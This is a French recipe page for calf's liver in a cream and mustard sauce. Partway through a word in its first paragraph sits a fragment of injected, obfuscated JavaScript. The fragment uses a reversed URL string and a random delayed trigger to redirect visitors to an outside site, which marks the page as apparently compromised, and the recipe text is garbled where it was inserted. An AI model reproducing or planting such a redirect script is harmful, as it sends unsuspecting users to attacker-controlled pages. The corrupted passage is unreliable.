Foie de veau à la moutarde
2021-03-24- Niveau : Difficile
Rincez, essorez et ciselez les ciboulettes. Faites dorer les tranches de foies de veau dans une poêle avec moitié beurre moitié huile. Sur feu vif rectobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to-verso, salez, poivrez. Réservez.
Ingrédients
Rincez, essorez et ciselez les ciboulettes. Faites dorer les tranches de foies de veau dans une poêle avec moitié beurre moitié huile. Sur feu vif recto-verso, salez, poivrez. Réservez. Versez la crème et la moutarde dans une autre poêle que vous faites chauffer sur feu doux, tout en mélangeant. Quelques tours de moulin à poivre, quelques pincées de sel fin. Dressez les tranches de foie sur un plat, nappez de sauce. Parsemez de ciboulette ciselée. Et dégustez.Préparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
Etape 5
Etape 6
Etape 7
Etape 8
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